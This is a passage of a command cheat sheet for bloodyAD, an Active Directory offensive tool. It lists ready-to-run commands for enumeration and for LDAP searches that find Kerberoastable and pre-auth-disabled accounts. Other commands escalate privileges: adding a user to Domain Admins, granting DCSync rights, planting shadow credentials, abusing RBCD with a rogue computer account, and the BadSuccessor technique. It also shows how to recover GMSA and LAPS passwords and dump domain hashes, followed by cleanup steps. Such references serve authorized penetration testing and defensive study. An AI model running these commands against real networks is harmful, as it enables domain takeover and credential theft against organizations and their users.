bloodyAD --host DC_IP -d domain -u user -p pass get object "Domain Admins" --attr member
# Object attributes
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe
bloodyAD --host DC_IP -d domain -u user -p pass get object john.doe --attr userAccountControl,memberOf --resolve-sd
# Children of an OU
bloodyAD --host DC_IP -d domain -u user -p pass get children --target "OU=Finance,DC=domain,DC=com"
# Domain trusts
bloodyAD --host DC_IP -d domain -u user -p pass get trusts --transitive
# DNS records
bloodyAD --host DC_IP -d domain -u user -p pass get dnsDump
# BloodHound data collection
bloodyAD --host DC_IP -d domain -u user -p pass get bloodhound
# Forest-wide search (Global Catalog)
bloodyAD --host DC_IP -d domain -u user -p pass --gc get search \
--filter "(objectClass=user)" --attr sAMAccountName,mail
Common LDAP Filters (for get search)
# All enabled users
--filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# All computers
--filter "(objectClass=computer)"
# Kerberoastable accounts (SPN set, not disabled)
--filter "(&(objectClass=user)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
# ASREProastable accounts (pre-auth disabled)
--filter "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
# Unconstrained delegation (computers, excl. DCs)
--filter "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))"
# LAPS-managed machines
--filter "(&(objectClass=computer)(ms-Mcs-AdmPwdExpirationTime=*))"
# Pre-Windows 2000 machine accounts
--filter "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
# AdminSDHolder-protected objects
--filter "(&(adminCount=1)(objectClass=user))"
Privilege Escalation
# Add yourself to Domain Admins
bloodyAD --host DC_IP -d domain -u user -p pass add groupMember "Domain Admins" user
# Grant DCSync rights
bloodyAD --host DC_IP -d domain -u user -p pass add dcsync user
# Grant GenericAll on a target
bloodyAD --host DC_IP -d domain -u user -p pass add genericAll targetUser attackerUser
# Take ownership of an object
bloodyAD --host DC_IP -d domain -u user -p pass set owner targetUser attackerUser
# Set RBCD on a target computer
bloodyAD --host DC_IP -d domain -u user -p pass add computer EVILPC$ 'Password123!'
bloodyAD --host DC_IP -d domain -u user -p pass add rbcd DC01$ EVILPC$
# Shadow Credentials backdoor
bloodyAD --host DC_IP -d domain -u user -p pass add shadowCredentials targetUser
# Disable Kerberos pre-auth (ASREPRoasting)
bloodyAD --host DC_IP -d domain -u user -p pass add uac targetUser -f DONT_REQ_PREAUTH
# Force RC4 on an account (Kerberoasting)
bloodyAD --host DC_IP -d domain -u user -p pass set object svc_account \
msDS-SupportedEncryptionTypes --raw --b64 -v "BAAAAA=="
# Add SPN to a user (make Kerberoastable)
bloodyAD --host DC_IP -d domain -u user -p pass set object svc_account \
servicePrincipalName -v "HTTP/evil.domain.com"
# BadSuccessor — create DMSA inheriting DA privileges
bloodyAD --host DC_IP -d domain -u user -p pass add badSuccessor evilDMSA \
-t "CN=Administrator,CN=Users,DC=domain,DC=com"
Credential Recovery
# GMSA password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'svc_gmsa$' \
--attr msDS-ManagedPassword
# LAPS password
bloodyAD --host DC_IP -d domain -u user -p pass get object 'COMPUTER$' \
--attr ms-Mcs-AdmPwd
# Shadow Credentials → hash (then use certipy)
bloodyAD --host DC_IP -d domain -u user -p pass add shadowCredentials targetUser
certipy auth -pfx targetUser.pfx -dc-ip DC_IP
# DCSync (after granting rights)
impacket-secretsdump domain/user:pass@DC_IP -just-dc
Cleanup
# Revoke DCSync
bloodyAD --host DC_IP -d domain -u admin -p pass remove dcsync attackerUser
# Remove from group
bloodyAD --host DC_IP -d domain -u admin -p pass remove groupMember "Domain Admins" attackerUser
# Remove shadow credentials
bloodyAD --host DC_IP -d domain -u admin -p pass remove shadowCredentials targetUser
# Remove RBCD
bloodyAD --host DC_IP -d domain -u admin -p pass remove rbcd DC01$ EVILPC$
# Remove computer account
bloodyAD --host DC_IP -d domain -u admin -p pass remove object EVILPC$
# Restore UAC (re-enable pre-auth)
bloodyAD --host DC_IP -d domain -u admin -p pass remove uac targetUser -f DONT_REQ_PREAUTH
# Reset password
bloodyAD --host DC_IP -d domain -u admin -p pass set password targetUser 'OriginalPass123!'
Useful Flag Combos
# JSON + jq for scripting
bloodyAD --host DC_IP -d domain -u user -p pass --json get writable | jq '.[].distinguishedName'
# LDAPS + Kerberos (hardened environments)
bloodyAD --host DC_HOSTNAME -d domain -u user -k -s get object john.doe
# Specify DNS when hostname won't resolve
bloodyAD --host DC_HOSTNAME --dc-ip DC_IP -d domain -u user -p pass --dns DC_IP get object john.doe
# Debug verbosity
bloodyAD --host DC_IP -d domain -u user -p pass -v DEBUG get object john.doe
# Quiet output (no noise)
bloodyAD --host DC_IP -d domain -u user -p pass -v QUIET get writable
References
- GitHub: https://github.com/CravateRouge/bloodyAD
- Wiki: https://github.com/CravateRouge/bloodyAD/wiki
- User Guide: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
- Auth Methods: https://github.com/CravateRouge/bloodyAD/wiki/Authentication-Methods
- Articles: https://cravaterouge.com/articles/